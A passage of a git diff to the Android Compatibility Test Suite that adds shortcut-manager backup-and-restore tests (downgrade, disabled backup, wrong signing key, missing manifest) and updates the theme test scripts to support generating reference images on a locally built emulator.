+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.makePersistableBundle;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.set;
+
+import android.content.Intent;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
+import android.graphics.BitmapFactory;
+import android.graphics.drawable.Icon;
+import android.test.suitebuilder.annotation.SmallTest;
+
+@SmallTest
+public class ShortcutManagerPreBackupTest extends ShortcutManagerDeviceTestBase {
+    public void testPreBackup() {
+        final Icon icon1 = Icon.createWithBitmap(BitmapFactory.decodeResource(
+                getContext().getResources(), R.drawable.black_16x64));
+        final Icon icon3 = Icon.createWithResource(getContext(), R.drawable.black_64x16);
+
+        final ShortcutInfo s1 = new ShortcutInfo.Builder(getContext(), "s1")
+                .setShortLabel("shortlabel1")
+                .setLongLabel("longlabel1")
+                .setIcon(icon1)
+                .setActivity(getActivity("MainActivity"))
+                .setDisabledMessage("disabledmessage1")
+                .setIntents(new Intent[]{new Intent("view").putExtra("k1", "v1")})
+                .setExtras(makePersistableBundle("ek1", "ev1"))
+                .setCategories(set("cat1"))
+                .build();
+
+        final ShortcutInfo s2 = new ShortcutInfo.Builder(getContext(), "s2")
+                .setShortLabel("shortlabel2")
+                .setActivity(getActivity("MainActivity2"))
+                .setIntents(new Intent[]{new Intent("main")})
+                .build();
+
+        final ShortcutInfo s3 = new ShortcutInfo.Builder(getContext(), "s3")
+                .setShortLabel("shortlabel3")
+                .setIcon(icon3)
+                .setActivity(getActivity("MainActivity2"))
+                .setIntents(new Intent[]{new Intent("main")})
+                .build();
+
+        assertTrue(getManager().setDynamicShortcuts(list(s1, s2, s3)));
+
+        assertWith(getManager().getDynamicShortcuts())
+                .haveIds("s1", "s2", "s3")
+                .areAllNotPinned();
+
+        assertWith(getManager().getManifestShortcuts())
+                .haveIds("ms1", "ms2")
+                .areAllNotPinned();
+   }
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk
new file mode 100644
index 0000000..537c811
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4old_nomanifest
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
+    $(call all-java-files-under, ../../common/src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml
new file mode 100644
index 0000000..59dd54e
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.content.pm.cts.shortcut.backup.publisher4"
+    android:versionCode="10">
+
+    <application>
+        <activity android:name="MainActivity" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4"  />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
index c703e7f..9b8d98a 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
@@ -41,6 +41,8 @@
 abstract public class BaseShortcutManagerHostTest extends DeviceTestCase implements IBuildReceiver {
     protected static final boolean DUMPSYS_IN_TEARDOWN = false; // DO NOT SUBMIT WITH TRUE
 
+    protected static final boolean NO_UNINSTALL_IN_TEARDOWN = false; // DO NOT SUBMIT WITH TRUE
+
     private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
 
     private IBuildInfo mCtsBuild;
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
index 960b41f..3caacad 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
@@ -26,9 +26,22 @@
     private static final String LAUNCHER1_APK = "CtsShortcutBackupLauncher1.apk";
     private static final String LAUNCHER2_APK = "CtsShortcutBackupLauncher2.apk";
     private static final String LAUNCHER3_APK = "CtsShortcutBackupLauncher3.apk";
+    private static final String LAUNCHER4_OLD_APK = "CtsShortcutBackupLauncher4old.apk";
+    private static final String LAUNCHER4_NEW_APK = "CtsShortcutBackupLauncher4new.apk";
+
     private static final String PUBLISHER1_APK = "CtsShortcutBackupPublisher1.apk";
     private static final String PUBLISHER2_APK = "CtsShortcutBackupPublisher2.apk";
     private static final String PUBLISHER3_APK = "CtsShortcutBackupPublisher3.apk";
+    private static final String PUBLISHER4_OLD_APK = "CtsShortcutBackupPublisher4old.apk";
+    private static final String PUBLISHER4_NEW_APK = "CtsShortcutBackupPublisher4new.apk";
+    private static final String PUBLISHER4_NEW_NOBACKUP_APK
+            = "CtsShortcutBackupPublisher4new_nobackup.apk";
+    private static final String PUBLISHER4_NEW_WRONGKEY_APK
+            = "CtsShortcutBackupPublisher4new_wrongkey.apk";
+    private static final String PUBLISHER4_OLD_NO_MANIFST_APK
+            = "CtsShortcutBackupPublisher4old_nomanifest.apk";
+    private static final String PUBLISHER4_NEW_NO_MANIFST_APK
+            = "CtsShortcutBackupPublisher4new_nomanifest.apk";
 
     private static final String LAUNCHER1_PKG =
             "android.content.pm.cts.shortcut.backup.launcher1";
@@ -36,12 +49,17 @@
             "android.content.pm.cts.shortcut.backup.launcher2";
     private static final String LAUNCHER3_PKG =
             "android.content.pm.cts.shortcut.backup.launcher3";
+    private static final String LAUNCHER4_PKG =
+            "android.content.pm.cts.shortcut.backup.launcher4";
+
     private static final String PUBLISHER1_PKG =
             "android.content.pm.cts.shortcut.backup.publisher1";
     private static final String PUBLISHER2_PKG =
             "android.content.pm.cts.shortcut.backup.publisher2";
     private static final String PUBLISHER3_PKG =
             "android.content.pm.cts.shortcut.backup.publisher3";
+    private static final String PUBLISHER4_PKG =
+            "android.content.pm.cts.shortcut.backup.publisher4";
 
     private static final int BROADCAST_TIMEOUT_SECONDS = 120;
 
@@ -59,16 +77,22 @@
             clearShortcuts(LAUNCHER1_PKG, getPrimaryUserId());
             clearShortcuts(LAUNCHER2_PKG, getPrimaryUserId());
             clearShortcuts(LAUNCHER3_PKG, getPrimaryUserId());
+            clearShortcuts(LAUNCHER4_PKG, getPrimaryUserId());
+
             clearShortcuts(PUBLISHER1_PKG, getPrimaryUserId());
             clearShortcuts(PUBLISHER2_PKG, getPrimaryUserId());
             clearShortcuts(PUBLISHER3_PKG, getPrimaryUserId());
+            clearShortcuts(PUBLISHER4_PKG, getPrimaryUserId());
 
             uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER1_PKG);
             uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER2_PKG);
             uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER3_PKG);
+            uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+
             uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER1_PKG);
             uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER2_PKG);
             uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER3_PKG);
+            uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
 
             waitUntilPackagesGone();
         }
@@ -80,14 +104,16 @@
             dumpsys("tearDown");
         }
 
-        if (mSupportsBackup) {
+        if (mSupportsBackup && !NO_UNINSTALL_IN_TEARDOWN) {
             getDevice().uninstallPackage(LAUNCHER1_PKG);
             getDevice().uninstallPackage(LAUNCHER2_PKG);
             getDevice().uninstallPackage(LAUNCHER3_PKG);
+            getDevice().uninstallPackage(LAUNCHER4_PKG);
 
             getDevice().uninstallPackage(PUBLISHER1_PKG);
             getDevice().uninstallPackage(PUBLISHER2_PKG);
             getDevice().uninstallPackage(PUBLISHER3_PKG);
+            getDevice().uninstallPackage(PUBLISHER4_PKG);
         }
 
         super.tearDown();
@@ -169,8 +195,8 @@
         CLog.i("Waiting until all packages are removed from shortcut manager...");
 
         final String packages[] = {
-                LAUNCHER1_PKG,  LAUNCHER2_PKG, LAUNCHER3_PKG,
-                PUBLISHER1_PKG, PUBLISHER2_PKG, PUBLISHER3_PKG,
+                LAUNCHER1_PKG,  LAUNCHER2_PKG, LAUNCHER3_PKG, LAUNCHER4_PKG,
+                PUBLISHER1_PKG, PUBLISHER2_PKG, PUBLISHER3_PKG, PUBLISHER4_PKG,
         };
 
         String dumpsys = "";
@@ -184,9 +210,11 @@
             if (dumpsys.contains("Launcher: " + LAUNCHER1_PKG)) continue;
             if (dumpsys.contains("Launcher: " + LAUNCHER2_PKG)) continue;
             if (dumpsys.contains("Launcher: " + LAUNCHER3_PKG)) continue;
+            if (dumpsys.contains("Launcher: " + LAUNCHER4_PKG)) continue;
             if (dumpsys.contains("Package: " + PUBLISHER1_PKG)) continue;
             if (dumpsys.contains("Package: " + PUBLISHER2_PKG)) continue;
             if (dumpsys.contains("Package: " + PUBLISHER3_PKG)) continue;
+            if (dumpsys.contains("Package: " + PUBLISHER4_PKG)) continue;
 
             dumpsys("Shortcut manager handled broadcasts");
 
@@ -298,6 +326,353 @@
                 getPrimaryUserId());
     }
 
+    public void testBackupAndRestore_downgrade() throws Exception {
+        if (!mSupportsBackup) {
+            return;
+        }
+        dumpsys("Test start");
+
+        // First, publish shortcuts from the new version and pin them.
+
+        installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+        installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+        runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+        runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+        dumpsys("Before backup");
+
+        // Backup
+        doBackup();
+
+        // Uninstall all apps
+        uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+        uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+        // Make sure the shortcut service handled all the uninstall broadcasts.
+        waitUntilPackagesGone();
+
+        // Do it one more time just in case...
+        waitUntilBroadcastsDrain();
+
+        // Then restore
+        doRestore();
+
+        dumpsys("After restore");
+
+        // Restore the old version of the app, and the launcher.
+        // (But we don't check the launcher's version, so using old is fine.)
+        installAppAsUser(LAUNCHER4_OLD_APK, getPrimaryUserId());
+        installAppAsUser(PUBLISHER4_OLD_APK, getPrimaryUserId());
+        waitUntilBroadcastsDrain();
+
+        runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+                "testRestoredOnOldVersion",
+                getPrimaryUserId());
+
+        runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+                "testRestoredOnOldVersion",
+                getPrimaryUserId());
+
+        // New install the original version. All blocked shortcuts should re-appear.
+        installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+        waitUntilBroadcastsDrain();
+
+        runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+                "testRestoredOnNewVersion",
+                getPrimaryUserId());
+
+        runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+                "testRestoredOnNewVersion",
+                getPrimaryUserId());
+
+    }
+
+    public void testBackupAndRestore_backupWasDisabled() throws Exception {
+        if (!mSupportsBackup) {
+            return;
+        }
+        dumpsys("Test start");
+
+        // First, publish shortcuts from "nobackup" version.
+
+        installAppAsUser(PUBLISHER4_NEW_NOBACKUP_APK, getPrimaryUserId());
+        installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+        runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+        runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+        dumpsys("Before backup");
+
+        // Backup
+        doBackup();
+
+        // Uninstall all apps
+        uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+        uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+        // Make sure the shortcut service handled all the uninstall broadcasts.
+        waitUntilPackagesGone();
+
+        // Do it one more time just in case...
+        waitUntilBroadcastsDrain();
+
+        // Then restore
+        doRestore();
+
+        dumpsys("After restore");
+
+        // Install the "backup-ok" version. But restoration is limited.
+        installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+        installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+        waitUntilBroadcastsDrain();
+
+        runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+                "testBackupDisabled",
+                getPrimaryUserId());
+    }
+
+    public void testBackupAndRestore_backupIsDisabled() throws Exception {
+        if (!mSupportsBackup) {
+            return;
+        }
+        dumpsys("Test start");
+
+        // First, publish shortcuts from backup-ok version.
+
+        installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+        installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+        runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+        runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+        dumpsys("Before backup");
+
+        // Backup
+        doBackup();
+
+        // Uninstall all apps
+        uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+        uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+        // Make sure the shortcut service handled all the uninstall broadcasts.
+        waitUntilPackagesGone();
+
+        // Do it one more time just in case...
+        waitUntilBroadcastsDrain();
+
+        // Then restore
+        doRestore();
+
+        dumpsys("After restore");
+
+        // Install the nobackup version. Restoration is limited.
+        installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+        installAppAsUser(PUBLISHER4_NEW_NOBACKUP_APK, getPrimaryUserId());
+        waitUntilBroadcastsDrain();
+
+        runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+                "testBackupDisabled",
+                getPrimaryUserId());
+    }
+
+    public void testBackupAndRestore_wrongKey() throws Exception {
+        if (!mSupportsBackup) {
+            return;
+        }
+        dumpsys("Test start");
+
+        // First, publish shortcuts from backup-ok version.
+
+        installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+        installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+        runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+        runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+        dumpsys("Before backup");
+
+        // Backup
+        doBackup();
+
+        // Uninstall all apps
+        uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+        uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+        // Make sure the shortcut service handled all the uninstall broadcasts.
+        waitUntilPackagesGone();
+
+        // Do it one more time just in case...
+        waitUntilBroadcastsDrain();
+
+        // Then restore
+        doRestore();
+
+        dumpsys("After restore");
+
+        // Install the nobackup version. Restoration is limited.
+        installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+        installAppAsUser(PUBLISHER4_NEW_WRONGKEY_APK, getPrimaryUserId());
+        waitUntilBroadcastsDrain();
+
+        runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+                "testRestoreWrongKey",
+                getPrimaryUserId());
+
+        runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+                "testRestoreWrongKey",
+                getPrimaryUserId());
+    }
+
+    public void testBackupAndRestore_noManifestOnOldVersion() throws Exception {
+        if (!mSupportsBackup) {
+            return;
+        }
+        dumpsys("Test start");
+
+        // First, publish shortcuts from backup-ok version.
+
+        installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+        installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+        runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+        runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+        dumpsys("Before backup");
+
+        // Backup
+        doBackup();
+
+        // Uninstall all apps
+        uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+        uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+        // Make sure the shortcut service handled all the uninstall broadcasts.
+        waitUntilPackagesGone();
+
+        // Do it one more time just in case...
+        waitUntilBroadcastsDrain();
+
+        // Then restore
+        doRestore();
+
+        dumpsys("After restore");
+
+        // Install the nobackup version. Restoration is limited.
+        installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+        installAppAsUser(PUBLISHER4_OLD_NO_MANIFST_APK, getPrimaryUserId());
+        waitUntilBroadcastsDrain();
+
+        runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+                "testRestoreNoManifestOnOldVersion",
+                getPrimaryUserId());
+
+        runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+                "testRestoreNoManifestOnOldVersion",
+                getPrimaryUserId());
+    }
+
+    public void testBackupAndRestore_noManifestOnNewVersion() throws Exception {
+        if (!mSupportsBackup) {
+            return;
+        }
+        dumpsys("Test start");
+
+        // First, publish shortcuts from backup-ok version.
+
+        installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+        installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+        runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+        runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+        dumpsys("Before backup");
+
+        // Backup
+        doBackup();
+
+        // Uninstall all apps
+        uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+        uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+        // Make sure the shortcut service handled all the uninstall broadcasts.
+        waitUntilPackagesGone();
+
+        // Do it one more time just in case...
+        waitUntilBroadcastsDrain();
+
+        // Then restore
+        doRestore();
+
+        dumpsys("After restore");
+
+        // Install the nobackup version. Restoration is limited.
+        installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+        installAppAsUser(PUBLISHER4_NEW_NO_MANIFST_APK, getPrimaryUserId());
+        waitUntilBroadcastsDrain();
+
+        runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+                "testRestoreNoManifestOnNewVersion",
+                getPrimaryUserId());
+
+        runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+                "testRestoreNoManifestOnNewVersion",
+                getPrimaryUserId());
+    }
+
+    /**
+     * Make sure invisible shortcuts are ignored by all API calls.
+     *
+     * (Restore from new to old-nomanifest)
+     */
+    public void testBackupAndRestore_invisibleIgnored() throws Exception {
+        if (!mSupportsBackup) {
+            return;
+        }
+        dumpsys("Test start");
+
+        // First, publish shortcuts from backup-ok version.
+
+        installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+        installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+        runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+        runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+        dumpsys("Before backup");
+
+        // Backup
+        doBackup();
+
+        // Uninstall all apps
+        uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+        uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+        // Make sure the shortcut service handled all the uninstall broadcasts.
+        waitUntilPackagesGone();
+
+        // Do it one more time just in case...
+        waitUntilBroadcastsDrain();
+
+        // Then restore
+        doRestore();
+
+        dumpsys("After restore");
+
+        // Install the nobackup version. Restoration is limited.
+        installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+        installAppAsUser(PUBLISHER4_OLD_NO_MANIFST_APK, getPrimaryUserId());
+        waitUntilBroadcastsDrain();
+
+        runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+                "testInvisibleIgnored",
+                getPrimaryUserId());
+
+        runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+                "testInvisibleIgnored",
+                getPrimaryUserId());
+    }
+
     public void testBackupAndRestore_withNoUninstall() throws Exception {
         if (!mSupportsBackup) {
             return;
diff --git a/hostsidetests/theme/README b/hostsidetests/theme/README
index 4f93e5a..4bf32cd 100644
--- a/hostsidetests/theme/README
+++ b/hostsidetests/theme/README
@@ -67,6 +67,22 @@
 
      ./cts/hostsidetests/theme/generate_images.py
 
+There is an option to build locally an Android system image and use an emulator that is stored in
+Android source tree under "prebuilts/android-emulator/linux-x86_64/emulator". This option does not
+require a SDK and can be used to generate images with locally modified source code: for example
+right before making a test breaking change.
+
+  1. From the console, set up your build environment for sdk_phone_x86_64 and build Android and CTS:
+
+     lunch sdk_phone_x86_64-userdebug && make -j32 && make cts -j32
+
+  2. Use the reference image script to generate the reference images. The script
+     will automatically start the emulator in the required configurations and
+     install the resulting reference images in assets/<platform>/<dpi>.zip,
+     overwriting any existing images.
+
+     ./cts/hostsidetests/theme/generate_images.py local
+
 A complete collection of reference images for a given API revision must include
 a set for each possible DPI bucket (tvdpi, xxhdpi, etc.) that may be tested.
 
diff --git a/hostsidetests/theme/assets/P b/hostsidetests/theme/assets/P
deleted file mode 120000
index a5c750f..0000000
--- a/hostsidetests/theme/assets/P
+++ /dev/null
@@ -1 +0,0 @@
-27
\ No newline at end of file
diff --git a/hostsidetests/theme/assets/P/260dpi.zip b/hostsidetests/theme/assets/P/260dpi.zip
new file mode 100644
index 0000000..592b4a6
--- /dev/null
+++ b/hostsidetests/theme/assets/P/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/280dpi.zip b/hostsidetests/theme/assets/P/280dpi.zip
new file mode 100644
index 0000000..a7e07a7
--- /dev/null
+++ b/hostsidetests/theme/assets/P/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/300dpi.zip b/hostsidetests/theme/assets/P/300dpi.zip
new file mode 100644
index 0000000..1f38851
--- /dev/null
+++ b/hostsidetests/theme/assets/P/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/340dpi.zip b/hostsidetests/theme/assets/P/340dpi.zip
new file mode 100644
index 0000000..3eb10c8
--- /dev/null
+++ b/hostsidetests/theme/assets/P/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/360dpi.zip b/hostsidetests/theme/assets/P/360dpi.zip
new file mode 100644
index 0000000..7da3a6d
--- /dev/null
+++ b/hostsidetests/theme/assets/P/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/400dpi.zip b/hostsidetests/theme/assets/P/400dpi.zip
new file mode 100644
index 0000000..0b2293a
--- /dev/null
+++ b/hostsidetests/theme/assets/P/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/420dpi.zip b/hostsidetests/theme/assets/P/420dpi.zip
new file mode 100644
index 0000000..8a93daa
--- /dev/null
+++ b/hostsidetests/theme/assets/P/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/560dpi.zip b/hostsidetests/theme/assets/P/560dpi.zip
new file mode 100644
index 0000000..4c975b2
--- /dev/null
+++ b/hostsidetests/theme/assets/P/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/hdpi.zip b/hostsidetests/theme/assets/P/hdpi.zip
new file mode 100644
index 0000000..38dbf01
--- /dev/null
+++ b/hostsidetests/theme/assets/P/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/ldpi.zip b/hostsidetests/theme/assets/P/ldpi.zip
new file mode 100644
index 0000000..cb8377e
--- /dev/null
+++ b/hostsidetests/theme/assets/P/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/mdpi.zip b/hostsidetests/theme/assets/P/mdpi.zip
new file mode 100644
index 0000000..a57e44c
--- /dev/null
+++ b/hostsidetests/theme/assets/P/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/tvdpi.zip b/hostsidetests/theme/assets/P/tvdpi.zip
new file mode 100644
index 0000000..bae75c2
--- /dev/null
+++ b/hostsidetests/theme/assets/P/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/xhdpi.zip b/hostsidetests/theme/assets/P/xhdpi.zip
new file mode 100644
index 0000000..ea545c5
--- /dev/null
+++ b/hostsidetests/theme/assets/P/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/xxhdpi.zip b/hostsidetests/theme/assets/P/xxhdpi.zip
new file mode 100644
index 0000000..7621330
--- /dev/null
+++ b/hostsidetests/theme/assets/P/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/xxxhdpi.zip b/hostsidetests/theme/assets/P/xxxhdpi.zip
new file mode 100644
index 0000000..8690618
--- /dev/null
+++ b/hostsidetests/theme/assets/P/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/avd.py b/hostsidetests/theme/avd.py
index 4c444a2..2a43129 100644
--- a/hostsidetests/theme/avd.py
+++ b/hostsidetests/theme/avd.py
@@ -46,8 +46,12 @@
         port_adb = find_free_port()
         port_tty = find_free_port()
         # -no-window might be useful here
-        emu_cmd = "%s -avd %s %s-ports %d,%d" \
-                  % (self._emu_path, self._name, self._opts, port_adb, port_tty)
+        if self._name == "local":
+            emu_cmd = "emulator %s-ports %d,%d -gpu on -wipe-data" \
+                      % (self._opts, port_adb, port_tty)
+        else:
+            emu_cmd = "%s -avd %s %s-ports %d,%d" \
+                      % (self._emu_path, self._name, self._opts, port_adb, port_tty)
         print(emu_cmd)
 
         emu_proc = subprocess.Popen(emu_cmd.split(" "), bufsize=-1, stdout=subprocess.PIPE,
diff --git a/hostsidetests/theme/generate_images.py b/hostsidetests/theme/generate_images.py
index 8b70f00..5dcc76f 100755
--- a/hostsidetests/theme/generate_images.py
+++ b/hostsidetests/theme/generate_images.py
@@ -50,7 +50,7 @@
 
 
 class ParallelExecutor(threading.Thread):
-    def __init__(self, tasks, q):
+    def __init__(self, tasks, setup, q):
         threading.Thread.__init__(self)
         self._q = q
         self._tasks = tasks
@@ -60,7 +60,7 @@
     def run(self):
         try:
             while True:
-                config = q.get(block=True, timeout=2)
+                config = self._q.get(block=True, timeout=2)
                 for t in self._tasks:
                     try:
                         if t(self._setup, config):
@@ -70,7 +70,7 @@
                     except:
